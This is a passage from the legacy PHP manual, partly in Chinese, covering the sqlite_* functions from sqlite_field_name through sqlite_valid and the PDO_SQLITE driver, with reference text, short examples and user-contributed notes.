string fieldName ( int field_index )

}

Given the ordinal column number, field_index, sqlite_field_name() returns the name of that field in the result set result.

参数

result

The SQLite result resource. This parameter is not required when using the object-oriented method.

field_index

The ordinal column number in the result set.

返回值

Returns the name of a field in an SQLite result set, given the ordinal column number; FALSE on error.

由 SQLITE_ASSOC 和 SQLITE_BOTH 返回的列名会根据 sqlite.assoc_case 配置选项的值来决定大小写。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
sqlite_fetch_string | 上一级 | sqlite_has_more


sqlite_has_more

(PHP 5)

sqlite_has_more -- Finds whether or not more rows are available

说明

bool sqlite_has_more ( resource result )

Finds whether more rows are available from the given result set.

参数

result

The SQLite result resource.

返回值

Returns TRUE if there are more rows available from the result handle, or FALSE otherwise.

参见

sqlite_num_rows()
sqlite_changes()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
sqlite_field_name | 上一级 | sqlite_has_prev


sqlite_has_prev

(PHP 5)

sqlite_has_prev

(no version information, might be only in CVS)

SQLiteResult->hasPrev -- Returns whether or not a previous row is available

说明

bool sqlite_has_prev ( resource result )

Object oriented style (method):

class SQLiteResult {

bool hasPrev ( void )

}

Find whether there are more previous rows from the given result handle.

参数

result

The SQLite result resource. This parameter is not required when using the object-oriented method.

注: 本函数不能用于未缓冲的结果句柄。

返回值

Returns TRUE if there are more previous rows available from the result handle, or FALSE otherwise.

参见

sqlite_prev()
sqlite_has_more()
sqlite_num_rows()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
sqlite_has_more | 上一级 | sqlite_key


sqlite_key

(no version information, might be only in CVS)

sqlite_key

(no version information, might be only in CVS)

SQLiteResult->key -- Returns the current row index

说明

int sqlite_key ( resource result )

Object oriented style (method):

class SQLiteResult {

int key ( void )

}

sqlite_key() returns the current row index of the buffered result set result.

参数

result

The SQLite result resource. This parameter is not required when using the object-oriented method.

注: 本函数不能用于未缓冲的结果句柄。

返回值

Returns the current row index of the buffered result set result.

更新日志

版本 | 说明
5.0.4 | Prior to PHP 5.0.4, sqlite_key() was only able to be called as a method on a SQLiteResult object, not procedurally.

参见

sqlite_next()
sqlite_current()
sqlite_rewind()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
sqlite_has_prev | 上一级 | sqlite_last_error


sqlite_last_error

(PHP 5)

sqlite_last_error

(no version information, might be only in CVS)

SQLiteDatabase->lastError -- Returns the error code of the last error for a database

说明

int sqlite_last_error ( resource dbhandle )

Object oriented style (method):

class SQLiteDatabase {

int lastError ( void )

}

Returns the error code from the last operation performed on dbhandle, the database handle. A human readable description of the error code can be retrieved using sqlite_error_string().

参数

dbhandle

The SQLite Database resource; returned from sqlite_open () when used procedurally. This parameter is not required when using the object-oriented method.

参见

sqlite_error_string()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
sqlite_key | 上一级 | sqlite_last_insert_rowid


sqlite_last_insert_rowid

(PHP 5)

sqlite_last_insert_rowid

(no version information, might be only in CVS)

SQLiteDatabase->lastInsertRowid -- Returns the rowid of the most recently inserted row

说明

int sqlite_last_insert_rowid ( resource dbhandle )

Object oriented style (method):

class SQLiteDatabase {

int lastInsertRowid ( void )

}

Returns the rowid of the row that was most recently inserted into the database dbhandle, if it was created as an auto-increment field.

提示: You can create auto-increment fields in SQLite by declaring them as INTEGER PRIMARY KEY in your table schema.

参数

dbhandle

The SQLite Database resource; returned from sqlite_open () when used procedurally. This parameter is not required when using the object-oriented method.

add a note add a note User Contributed Notes
23-Feb-2006 12:31
Note that you don't need to create a primary key for your table. In the absence of an integer primary key, SQLite simply uses an internal key called "RowID" or "OID".
It has all of the features of a normal integer primary key(auto-incrementing, returned by sqlite_last_insert_rowid(), accessible via SELECT, etc), except that it's handled better by SQLite and doesn't require the extra characters in the "CREATE" command.
If you just want a primary key as an auto-incrementing ID for your rows, save yourself the trouble and just use "OID" instead.

Also, according to the SQLite website, the id returned is for the last insert in the current *connection*, not just database. This means that if there are two connections to the same database at the same time, and both perform "INSERT", each can get it's own inserted rowid later, so basically this is thread-safe(So long as no-one calls "REINDEX").
ffoeg at shaw dot ca
02-Jan-2006 09:53
Note that if you insret a few rows in your table, say rowid 1-5, and then delete 2,3 and 4, you will be left with the rowids 1 and 5, not 1 and 2. This may seem basic to anyone with database experience, but I had to check it out with a GUI tool before I figured this one out. Anyway, what it boils down to is that sometimes your rowid will be greater than the number returned by the SQLite COUNT (*) function.
David
16-Apr-2005 10:50
I have noticed that this will still return an insert id even if a table has not been assigned a primary key or has not been assigned a primary key correctly. If the table was not created correctly sqlite_last_insert_rowid() will return its internal row id, which is probably not what you want. The correct way to establish a primary key migh look something like this look something like this:

create table some_table (id INTEGER PRIMARY KEY, some_field varchar(10))

Then you can try:

insert into some_table (some_field) values ('bob')

You will see that an id will be automatically generated and
calling sqlite_last_insert_rowid() will return the expected value
add a note add a note

后退 | 起点 | 前进
sqlite_last_error | 上一级 | sqlite_libencoding


sqlite_libencoding

(PHP 5)

sqlite_libencoding -- Returns the encoding of the linked SQLite library

说明

string sqlite_libencoding ( void )

The SQLite library may be compiled in either ISO-8859-1 or UTF-8 compatible modes. This function allows you to determine which encoding scheme is used by your version of the library.

警告

The default PHP distribution builds libsqlite in ISO-8859-1 encoding mode. However, this is a misnomer; rather than handling ISO-8859-1, it operates according to your current locale settings for string comparisons and sort ordering. So, rather than ISO-8859-1, you should think of it as being '8-bit' instead.

When compiled with UTF-8 support, sqlite handles encoding and decoding of UTF-8 multi-byte character sequences, but does not yet do a complete job when working with the data (no normalization is performed for example), and some comparison operations may still not be carried out correctly.

警告

It is not recommended that you use PHP in a web-server configuration with a version of the SQLite library compiled with UTF-8 support, since libsqlite will abort the process if it detects a problem with the UTF-8 encoding.

参见

sqlite_lib_version()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
sqlite_last_insert_rowid | 上一级 | sqlite_libversion


sqlite_libversion

(PHP 5)

sqlite_libversion -- Returns the version of the linked SQLite library

说明

string sqlite_libversion ( void )

Returns the version of the linked SQLite library.

参见

sqlite_libencoding()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
sqlite_libencoding | 上一级 | sqlite_next


sqlite_next

(PHP 5)

sqlite_next

(no version information, might be only in CVS)

SQLiteResult->next

(no version information, might be only in CVS)

SQLiteUnbuffered->next -- Seek to the next row number

说明

bool sqlite_next ( resource result )

Object oriented style (method):

class SQLiteResult {

bool next ( void )

}class SQLiteUnbuffered {

bool next ( void )

}

sqlite_next() advances the result handle result to the next row.

参数

result

The SQLite result resource. This parameter is not required when using the object-oriented method.

返回值

Returns TRUE on success, or FALSE if there are no more rows.

参见

sqlite_seek()
sqlite_current()
sqlite_rewind()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
sqlite_libversion | 上一级 | sqlite_num_fields


sqlite_num_fields

(PHP 5)

sqlite_num_fields

(no version information, might be only in CVS)

SQLiteResult->numFields

(no version information, might be only in CVS)

SQLiteUnbuffered->numFields -- Returns the number of fields in a result set

说明

int sqlite_num_fields ( resource result )

Object oriented style (method):

class SQLiteResult {

int numFields ( void )

}class SQLiteUnbuffered {

int numFields ( void )

}

Returns the number of fields in the result set.

参数

result

The SQLite result resource. This parameter is not required when using the object-oriented method.

参见

sqlite_changes()
sqlite_num_rows()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
sqlite_next | 上一级 | sqlite_num_rows


sqlite_num_rows

(PHP 5)

sqlite_num_rows

(no version information, might be only in CVS)

SQLiteResult->numRows -- Returns the number of rows in a buffered result set

Description

int sqlite_num_rows ( resource result )

Object oriented style (method):

class SQLiteResult {

int numRows ( void )

}

Returns the number of rows in the buffered result set.

参数

result

The SQLite result resource. This parameter is not required when using the object-oriented method.

注: 本函数不能用于未缓冲的结果句柄。

范例

例子 1. Procedural example

<?php
$db = sqlite_open('mysqlitedb');
$result = sqlite_query($db, "SELECT * FROM mytable WHERE name='John Doe'");
$rows = sqlite_num_rows($result);

echo "Number of rows: $rows";
?>

例子 2. Object-oriented example

<?php
$db = new SQLiteDatabase('mysqlitedb');
$result = $db->query("SELECT * FROM mytable WHERE name='John Doe'");
$rows = $result->numRows();

echo "Number of rows: $rows";
?>

参见

sqlite_changes()
sqlite_query()
sqlite_num_fields()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
sqlite_num_fields | 上一级 | sqlite_open


sqlite_open

(PHP 5)

sqlite_open -- Opens a SQLite database and create the database if it does not exist

说明

resource sqlite_open ( string filename [, int mode [, string &error_message]] )

Object oriented style (constructor):

class SQLiteDatabase {

__construct ( string filename [, int mode [, string &error_message]] )

}

Opens a SQLite database or creates the database if it does not exist.

参数

filename

The filename of the SQLite database. If the file does not exist, SQLite will attempt to create it. PHP must have write permissions to the file if data is inserted, the database schema is modified or to create the database if it does not exist.

mode

The mode of the file. Intended to be used to open the database in read-only mode. Presently, this parameter is ignored by the sqlite library. The default value for mode is the octal value 0666 and this is the recommended value.

error_message

Passed by reference and is set to hold a descriptive error message explaining why the database could not be opened if there was an error.

返回值

Returns a resource (database handle) on success, FALSE on error.

范例

例子 1. sqlite_open() example

<?php
if ($db = sqlite_open('mysqlitedb', 0666, $sqliteerror)) {
    sqlite_query($db, 'CREATE TABLE foo (bar varchar(10))');
    sqlite_query($db, "INSERT INTO foo VALUES ('fnord')");
    $result = sqlite_query($db, 'select bar from foo');
    var_dump(sqlite_fetch_array($result));
} else {
    die($sqliteerror);
}
?>

注释

提示: On Unix platforms, SQLite is sensitive to scripts that use the fork() system call. If you do have such a script, it is recommended that you close the handle prior to forking and then re-open it in the child and/or parent. For more information on this issue, see The C language interface to the SQLite library in the section entitled Multi-Threading And SQLite.

提示: It is not recommended to work with SQLite databases mounted on NFS partitions. Since NFS is notoriously bad when it comes to locking you may find that you cannot even open the database at all, and if it succeeds, the locking behaviour may be undefined.

注: Starting with SQLite library version 2.8.2, you can specify :memory: as the filename to create a database that lives only in the memory of the computer. This is useful mostly for temporary processing, as the in-memory database will be destroyed when the process ends. It can also be useful when coupled with the ATTACH DATABASE SQL statement to load other databases and move and query data between them.

注: SQLite is 安全模式 and open_basedir aware.

参见

sqlite_popen()
sqlite_close()
sqlite_factory()

add a note add a note User Contributed Notes
ivoras at fer dot hr
27-May-2004 01:46
Since sqlite uses a journal to do updates and inserts (and creates it on the fly), you ALSO must have write permissions set for the web server to write in the same DIRECTORY as the database file.
add a note add a note

后退 | 起点 | 前进
sqlite_num_rows | 上一级 | sqlite_popen


sqlite_popen

(PHP 5)

sqlite_popen -- Opens a persistent handle to an SQLite database and create the database if it does not exist

说明

resource sqlite_popen ( string filename [, int mode [, string &error_message]] )

This function behaves identically to sqlite_open() except that is uses the persistent resource mechanism of PHP. For information about the meaning of the parameters, read the sqlite_open() manual page.

sqlite_popen() will first check to see if a persistent handle has already been opened for the given filename. If it finds one, it returns that handle to your script, otherwise it opens a fresh handle to the database.

The benefit of this approach is that you don't incur the performance cost of re-reading the database and index schema on each page hit served by persistent web server SAPI's (any SAPI except for regular CGI or CLI).

注: If you use persistent handles and have the database updated by a background process (perhaps via a crontab), and that process re-creates the database by overwriting it (either by unlinking and rebuilding, or moving the updated version to replace the current version), you may experience undefined behaviour when a persistent handle on the old version of the database is recycled.

To avoid this situation, have your background processes open the same database file and perform their updates in a transaction.

参数

filename

The filename of the SQLite database. If the file does not exist, SQLite will attempt to create it. PHP must have write permissions to the file if data is inserted, the database schema is modified or to create the database if it does not exist.

mode

The mode of the file. Intended to be used to open the database in read-only mode. Presently, this parameter is ignored by the sqlite library. The default value for mode is the octal value 0666 and this is the recommended value.

error_message

Passed by reference and is set to hold a descriptive error message explaining why the database could not be opened if there was an error.

返回值

Returns a resource (database handle) on success, FALSE on error.

参见

sqlite_open()
sqlite_close()
sqlite_factory()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
sqlite_open | 上一级 | sqlite_prev


sqlite_prev

(PHP 5)

sqlite_prev

(no version information, might be only in CVS)

SQLiteResult->prev -- Seek to the previous row number of a result set

说明

bool sqlite_prev ( resource result )

Object oriented style (method):

class SQLiteResult {

bool prev ( void )

}

sqlite_prev() seeks back the result handle to the previous row.

参数

result

The SQLite result resource. This parameter is not required when using the object-oriented method.

注: 本函数不能用于未缓冲的结果句柄。

返回值

Returns TRUE on success, or FALSE if there are no more previous rows.

参见

sqlite_has_prev()
sqlite_rewind()
sqlite_next()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
sqlite_popen | 上一级 | sqlite_query


sqlite_query

(PHP 5)

sqlite_query

(no version information, might be only in CVS)

SQLiteDatabase->query -- Executes a query against a given database and returns a result handle

说明

resource sqlite_query ( resource dbhandle, string query [, int result_type [, string &error_msg]] )

resource sqlite_query ( string query, resource dbhandle [, int result_type [, string &error_msg]] )

Object oriented style (method):

class SQLiteDatabase {

SQLiteResult query ( string query [, int result_type [, string &error_msg]] )

}

Executes an SQL statement given by the query against a given database handle.

参数

dbhandle

The SQLite Database resource; returned from sqlite_open() when used procedurally. This parameter is not required when using the object-oriented method.

query

The query to be executed.

result_type

可选的 result_type 参数接受一个常量并决定返回的数组如何索引。用 SQLITE_ASSOC 只会返回关联索引（有名称字段）而 SQLITE_NUM 只会返回数字索引（有序字段数）。SQLITE_BOTH 会同时返回关联和数字索引。 SQLITE_BOTH 是本函数的默认值。

error_msg

The specified variable will be filled if an error occurs. This is specially important because SQL syntax errors can't be fetched using the sqlite_last_error() function.

注: 为兼容其它数据库（例如 MySQL），支持另两种替代的语法。推荐用第一种，dbhandle 参数作为函数的第一个参数。

返回值

This function will return a result handle or FALSE on failure. For queries that return rows, the result handle can then be used with functions such as sqlite_fetch_array() and sqlite_seek().

Regardless of the query type, this function will return FALSE if the query failed.

sqlite_query() returns a buffered, seekable result handle. This is useful for reasonably small queries where you need to be able to randomly access the rows. Buffered result handles will allocate memory to hold the entire result and will not return until it has been fetched. If you only need sequential access to the data, it is recommended that you use the much higher performance sqlite_unbuffered_query() instead.

更新日志

版本 | 说明
5.1.0 | Added the error_msg parameter

注释

警告

SQLite will execute multiple queries separated by semicolons, so you can use it to execute a batch of SQL that you have loaded from a file or have embedded in a script. However, this works only when the result of the function is not used - if it is used, only the first SQL statement would be executed. Function sqlite_exec() will always execute multiple SQL statements.

When executing multiple queries, the return value of this function will be FALSE if there was an error, but undefined otherwise (it might be TRUE for success or it might return a result handle).

参见

sqlite_unbuffered_query()
sqlite_array_query()

add a note add a note User Contributed Notes
jason at fatpipeinc dot com
27-Oct-2005 10:32
Correction:

sqlite_query will return NULL if the web server cannot write to the sqlite database file.

(please correct the previous post and delete this one)
jason at fatpipeinc dot com
25-Oct-2005 12:35
sqlite_open will return NULL if the web server cannot write to the sqlite database file.

I saw the following message in my web server error log:

PHP Warning:  sqlite_query(): (null) ...

It turns out that the sqlite database file was owned by a user other than the one the web server was running as.  In my case, it was a Linux system running Apache (which was running under the context of user apache).  The sqlite database file was owned by root.  I changed ownership of the file to user apache and now it works!  The sqlite_open call now returns a valid result handle.

Jason Aeschilman
05-Oct-2004 04:54
While reading the manual at sqlite.org, I can answer for the quotes in strings. You should put two quote to get one.

insert into atable values ( '5 O''Clock');
csaba at alum dot mit dot edu
30-Apr-2004 09:41
The function below allows you to submit multiple queries in one shot to a SQLITE database, and will return whatever you would get for the final query.

function sqlite_query_multi ($db, $query) {
   // submit multiple queries (separated by ;) to $db
   // and return the result from the last one
   $multiSQL = "/('[^']*'|\"[^\"]*\"|[^;'\"])*;/";
   preg_match_all ($multiSQL, "$query;", $aSQL);
   for ($i=sizeof($aSQL=$aSQL[0]);$i--;)
   if (!($trim=trim(substr($aSQL[$i],0,-1))))
       unset ($aSQL[$i]);
       else $aSQL[$i] = "$trim;";
   foreach ($aSQL as $i => $sql)
   $dbRes = sqlite_query ($db, $sql);
   return (@$dbRes);
}

The section below illustrates the above function:

$db = sqlite_open(":memory:", 0666, $sqliteerror);
$query = <<<EOD
CREATE TABLE foo (bar INTEGER PRIMARY KEY, baz TEXT);
INSERT INTO foo VALUES (Null, 'Hi');
INSERT INTO foo VALUES (Null, 'Mom');
SELECT * FROM foo;
EOD;
$dbRes = sqlite_query_multi ($db, $query);  // 4 statements
while (sqlite_has_more($dbRes))
   var_dump(sqlite_fetch_array($dbRes, SQLITE_ASSOC));

Csaba Gabor
add a note add a note

后退 | 起点 | 前进
sqlite_prev | 上一级 | sqlite_rewind


sqlite_rewind

(PHP 5)

sqlite_rewind

(no version information, might be only in CVS)

SQLiteResult->rewind -- Seek to the first row number

说明

bool sqlite_rewind ( resource result )

Object oriented style (method):

class SQLiteResult {

bool rewind ( void )

}

sqlite_rewind() seeks back to the first row in the given result set.

参数

result

The SQLite result resource. This parameter is not required when using the object-oriented method.

注: 本函数不能用于未缓冲的结果句柄。

返回值

Returns FALSE if there are no rows in the result set, TRUE otherwise.

参见

sqlite_next()
sqlite_current()
sqlite_seek()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
sqlite_query | 上一级 | sqlite_seek


sqlite_seek

(PHP 5)

sqlite_seek

(no version information, might be only in CVS)

SQLiteResult->seek -- Seek to a particular row number of a buffered result set

说明

bool sqlite_seek ( resource result, int rownum )

Object oriented style (method):

class SQLiteResult {

bool seek ( int rownum )

}

sqlite_seek() seeks to the row given by the parameter rownum.

参数

result

The SQLite result resource. This parameter is not required when using the object-oriented method.

注: 本函数不能用于未缓冲的结果句柄。

rownum

The ordinal row number to seek to. The row number is zero-based (0 is the first row).

注: 本函数不能用于未缓冲的结果句柄。

返回值

Returns FALSE if the row does not exist, TRUE otherwise.

参见

sqlite_next()
sqlite_current()
sqlite_rewind()

add a note add a note User Contributed Notes
mina86 at tlen dot pl
13-May-2004 01:17
I've encoutered strange problem when using sqlite_seek(). When I tried to move the pointer to the first row (#0) I got the fallowing error message: row 0 out of range. The workaround seems to be use of sqlite_rewind(). One can use the fallowing function instead of the original one:

<?php
function sqlite_data_seek($result, $numrow) {
  if ($numrow==0) {
   return sql_rewind($result);
  } else {
   return sql_seek($result, $numrow);
  }
}
?>
add a note add a note

后退 | 起点 | 前进
sqlite_rewind | 上一级 | sqlite_single_query


sqlite_single_query

(PHP 5)

sqlite_single_query

(no version information, might be only in CVS)

SQLiteDatabase->singleQuery -- Executes a query and returns either an array for one single column or the value of the first row

说明

array sqlite_single_query ( resource db, string query [, bool first_row_only [, bool decode_binary]] )

Object oriented style (method):

class SQLiteDatabase {

array singleQuery ( string query [, bool first_row_only [, bool decode_binary]] )

}

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
franp at free dot fr
27-Sep-2004 08:42
AFAIK, you cannot use sqlite-single-query for all kind of SQL queries.
If you are lazy and thought you could safely copy-paste your :
<?php $result = $db->sqlite-single-query($sSQL); ?>
straight from one query to the other, whatever is the query as long as it has only one line, you are wrong.

Apparently, sqlite-single-query is limited to queries that return data, that is to SELECT queries.

<?php
$sSQL  = "DELETE FROM atoms WHERE ID = '8';";

// The following won't work :
$result = $db->singleQuery($sSQL);

// But the following will :
$result = $db->query($sSQL);
?>
add a note add a note

后退 | 起点 | 前进
sqlite_seek | 上一级 | sqlite_udf_decode_binary


sqlite_udf_decode_binary

(PHP 5)

sqlite_udf_decode_binary -- Decode binary data passed as parameters to an UDF

说明

string sqlite_udf_decode_binary ( string data )

sqlite_udf_decode_binary() decodes the binary encoding that was applied to the parameter by either sqlite_udf_encode_binary() or sqlite_escape_string().

You must call this function on parameters passed to your UDF if you need them to handle binary data, as the binary encoding employed by PHP will obscure the content and of the parameter in its natural, non-coded form.

PHP does not perform this encode/decode operation automatically as it would severely impact performance if it did.

范例

例子 1. binary-safe max_length aggregation function example

<?php
$data = array(
   'one',
   'two',
   'three',
   'four',
   'five',
   'six',
   'seven',
   'eight',
   'nine',
   'ten',
   );
$db = sqlite_open(':memory:');
sqlite_query($db, "CREATE TABLE strings(a)");
foreach ($data as $str) {
    $str = sqlite_escape_string($str);
    sqlite_query($db, "INSERT INTO strings VALUES ('$str')");
}

function max_len_step(&$context, $string)
{
    $string = sqlite_udf_decode_binary($string);
    if (strlen($string) > $context) {
        $context = strlen($string);
    }
}

function max_len_finalize(&$context)
{
    return $context;
}

sqlite_create_aggregate($db, 'max_len', 'max_len_step', 'max_len_finalize');

var_dump(sqlite_array_query($db, 'SELECT max_len(a) from strings'));

?>

参见

sqlite_udf_encode_binary()
sqlite_create_function()
sqlite_create_aggregate()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
sqlite_single_query | 上一级 | sqlite_udf_encode_binary


sqlite_udf_encode_binary

(PHP 5)

sqlite_udf_encode_binary -- Encode binary data before returning it from an UDF

说明

string sqlite_udf_encode_binary ( string data )

sqlite_udf_encode_binary() applies a binary encoding to the data so that it can be safely returned from queries (since the underlying libsqlite API is not binary safe).

If there is a chance that your data might be binary unsafe (e.g.: it contains a NUL byte in the middle rather than at the end, or if it has and 0x01 byte as the first character) then you must call this function to encode the return value from your UDF.

PHP does not perform this encode/decode operation automatically as it would severely impact performance if it did.

注: Do not use sqlite_escape_string() to quote strings returned from UDF's as it will lead to double-quoting of the data. Use sqlite_udf_encode_binary() instead!

参见

sqlite_udf_decode_binary()
sqlite_escape_string()
sqlite_create_function()
sqlite_create_aggregate()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
sqlite_udf_decode_binary | 上一级 | sqlite_unbuffered_query


sqlite_unbuffered_query

(PHP 5)

sqlite_unbuffered_query

(no version information, might be only in CVS)

SQLiteDatabase->unbufferedQuery -- Execute a query that does not prefetch and buffer all data

说明

resource sqlite_unbuffered_query ( resource dbhandle, string query [, int result_type [, string &error_msg]] )

resource sqlite_unbuffered_query ( string query, resource dbhandle [, int result_type [, string &error_msg]] )

Object oriented style (method):

class SQLiteDatabase {

SQLiteUnbuffered unbufferedQuery ( string query [, int result_type [, string &error_msg]] )

}

sqlite_unbuffered_query() is identical to sqlite_query() except that the result that is returned is a sequential forward-only result set that can only be used to read each row, one after the other.

This function is ideal for generating things such as HTML tables where you only need to process one row at a time and don't need to randomly access the row data.

注:
    Functions such as sqlite_seek(),
    sqlite_rewind(), sqlite_next(),
    sqlite_current(), and
    sqlite_num_rows() do not work on result handles
    returned from sqlite_unbuffered_query().

参数

dbhandle

The SQLite Database resource; returned from sqlite_open() when used procedurally. This parameter is not required when using the object-oriented method.

query

The query to be executed.

result_type

可选的 result_type 参数接受一个常量并决定返回的数组如何索引。用 SQLITE_ASSOC 只会返回关联索引（有名称字段）而 SQLITE_NUM 只会返回数字索引（有序字段数）。SQLITE_BOTH 会同时返回关联和数字索引。 SQLITE_BOTH 是本函数的默认值。

error_msg

The specified variable will be filled if an error occurs. This is specially important because SQL syntax errors can't be fetched using the sqlite_last_error() function.

注: 为兼容其它数据库（例如 MySQL），支持另两种替代的语法。推荐用第一种，dbhandle 参数作为函数的第一个参数。

返回值

Returns a result handle or FALSE on failure.

sqlite_unbuffered_query() returns a sequential forward-only result set that can only be used to read each row, one after the other.

更新日志

版本 | 说明
5.1.0 | Added the error_msg parameter

参见

sqlite_query()

add a note add a note User Contributed Notes
ofbuker at gmail dot com
31-Dec-2004 04:40
<?php

ob_start();
echo "<title>Members</title>";
sqlite_unbuffered_query($query,"select * from members");
while(sqlite_fetch_object($rows,$query)){
   echo $rows->membername;
   echo "<br>";
}
ob_end_flush();

?>
radley25 at spamcop net
31-May-2004 03:27
Always use this over the sqlite_fetch_* functions if possible as it's much faster.
add a note add a note

后退 | 起点 | 前进
sqlite_udf_encode_binary | 上一级 | sqlite_valid


sqlite_valid

(PHP 5)

sqlite_valid

(no version information, might be only in CVS)

SQLiteResult->valid

(no version information, might be only in CVS)

SQLiteUnbuffered->valid -- Returns whether more rows are available

说明

bool sqlite_valid ( resource result )

Object oriented style (method):

class SQLiteResult {

bool valid ( void )

}class SQLiteUnbuffered {

bool valid ( void )

}

Finds whether more rows are available from the given result handle.

参数

result

The SQLite result resource. This parameter is not required when using the object-oriented method.

注: 本函数不能用于未缓冲的结果句柄。

返回值

Returns TRUE if there are more rows available from the result handle, or FALSE otherwise.

参见

sqlite_num_rows()
sqlite_changes()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
sqlite_unbuffered_query | 上一级 | SQLite Functions (PDO_SQLITE)


SQLite Functions (PDO_SQLITE)

PHP 手册
后退 前进

CXXXIX. SQLite Functions (PDO_SQLITE)

简介

警告

本扩展模块是实验性的。本模块的行为，包括其函数的名称以及其它任何关于此模块的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本扩展模块风险自担。

PDO_SQLITE is a driver that implements the PHP Data Objects (PDO) interface to enable access to SQLite 3 databases.

In PHP 5.1, the SQLite extension also provides a driver for SQLite 2 databases; while it is not technically a part of the PDO_SQLITE driver, it behaves similarly, so it is documented alongside it. The SQLite 2 driver for PDO is provided primarily to make it easier to import legacy sqlite 2 database files into an application that uses the faster, more efficient sqlite 3 driver. As a result, the SQLite 2 driver is not as feature-rich as the SQLite 3 driver.

目录
PDO_SQLITE DSN -- Connecting to SQLite databases
PDO::sqliteCreateAggregate -- Registers an aggregating User Defined Function for use in SQL statements
PDO::sqliteCreateFunction -- Registers a User Defined Function for use in SQL statements

add a note add a note User Contributed Notes
aidan at php dot net
01-Oct-2005 05:36
If you receive an error while trying to write to a sqlite database (update, delete, drop):

Warning: PDO::query() [function.query]: SQLSTATE[HY000]: General error: 1 unable to open database

The folder that houses the database file must be writeable.
add a note add a note

后退 | 起点 | 前进
sqlite_valid | 上一级 | PDO_SQLITE DSN


PDO_SQLITE DSN

(no version information, might be only in CVS)

PDO_SQLITE DSN -- Connecting to SQLite databases

说明

The PDO_SQLITE Data Source Name (DSN) is composed of the following elements:

DSN prefix (SQLite 3)

The DSN prefix is sqlite:.

  • To access a database on disk, append the absolute path to the DSN prefix.

  • To create a database in memory, append memory: to the DSN prefix.

DSN prefix (SQLite 2)

The SQLite extension in PHP 5.1 provides a PDO driver that supports accessing and creating SQLite 2 databases. This enables you to access databases you may have created with the SQLite extension in previous versions of PHP.

注: The sqlite2 driver is only available in PHP 5.1 if you have enabled both PDO and ext/sqlite. It is not currently available via PECL.

The DSN prefix for connecting to SQLite 2 databases is sqlite2:.

  • To access a database on disk, append the absolute path to the DSN prefix.

  • To create a database in memory, append memory: to the DSN prefix.

范例

例子 1. PDO_SQLITE DSN examples

The following examples show PDO_SQLITE DSN for connecting to SQLite databases:
sqlite:/opt/databases/mydb.sq3
sqlite::memory:
sqlite2:/opt/databases/mydb.sq2
sqlite2::memory:

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
SQLite Functions (PDO_SQLITE) | 上一级 | PDO::sqliteCreateAggregate


PDO::sqliteCreateAggregate

(no version information, might be only in CVS)

PDO::sqliteCreateAggregate -- Registers an aggregating User Defined Function for use in SQL statements

说明

bool PDO::sqliteCreateAggregate ( string function_name, callback step_func, callback finalize_func [, int num_args] )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

PDO::sqliteCreateAggregate() is similar to PDO::sqliteCreateFunction() except that it registers functions that can be used to calculate a result aggregated across all the rows of a query.

The key difference between this function and PDO::sqliteCreateFunction() is that two functions are required to manage the aggregate; step_func is called for each row of the result set. Your PHP function should accumulate the result and store it into the aggregation context. Once all the rows have been processed, finalize_func will be called and it should then take the data from the aggregation context and return the result. Callback functions should return a type understood by SQLite (i.e. scalar type).

参数

function_name

The name of the function used in SQL statements.

step_func

Callback function called for each row of the result set.

finalize_func

Callback function to aggregate the "stepped" data from each row.

num_args

Hint to the SQLite parser if the callback function accepts a predetermined number of arguments.

范例

例子 1. max_length aggregation function example

<?php
$data = array(
   'one',
   'two',
   'three',
   'four',
   'five',
   'six',
   'seven',
   'eight',
   'nine',
   'ten',
   );
$db = new PDO('sqlite::memory:');
$db->exec("CREATE TABLE strings(a)");
$insert = $db->prepare('INSERT INTO strings VALUES (?)');
foreach ($data as $str) {
    $insert->execute(array($str));
}
$insert = null;

function max_len_step(&$context, $string)
{
    if (strlen($string) > $context) {
        $context = strlen($string);
    }
}

function max_len_finalize(&$context)
{
    return $context;
}

$db->sqliteCreateAggregate('max_len', 'max_len_step', 'max_len_finalize');

var_dump($db->query('SELECT max_len(a) from strings')->fetchAll());

?>

In this example, we are creating an aggregating function that will calculate the length of the longest string in one of the columns of the table. For each row, the max_len_step function is called and passed a context parameter. The context parameter is just like any other PHP variable and be set to hold an array or even an object value. In this example, we are simply using it to hold the maximum length we have seen so far; if the string has a length longer than the current maximum, we update the context to hold this new maximum length.

After all of the rows have been processed, SQLite calls the max_len_finalize function to determine the aggregate result. Here, we could perform some kind of calculation based on the data found in the context. In our simple example though, we have been calculating the result as the query progressed, so we simply need to return the context value.

提示: It is NOT recommended for you to store a copy of the values in the context and then process them at the end, as you would cause SQLite to use a lot of memory to process the query - just think of how much memory you would need if a million rows were stored in memory, each containing a string 32 bytes in length.

提示: You can use PDO::sqliteCreateFunction() and PDO::sqliteCreateAggregate() to override SQLite native SQL functions.

注: This method is not available with the SQLite2 driver. Use the old style sqlite API for that instead.

参见

PDO::sqliteCreateFunction()
sqlite_create_function()
sqlite_create_aggregate()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
PDO_SQLITE DSN | 上一级 | PDO::sqliteCreateFunction


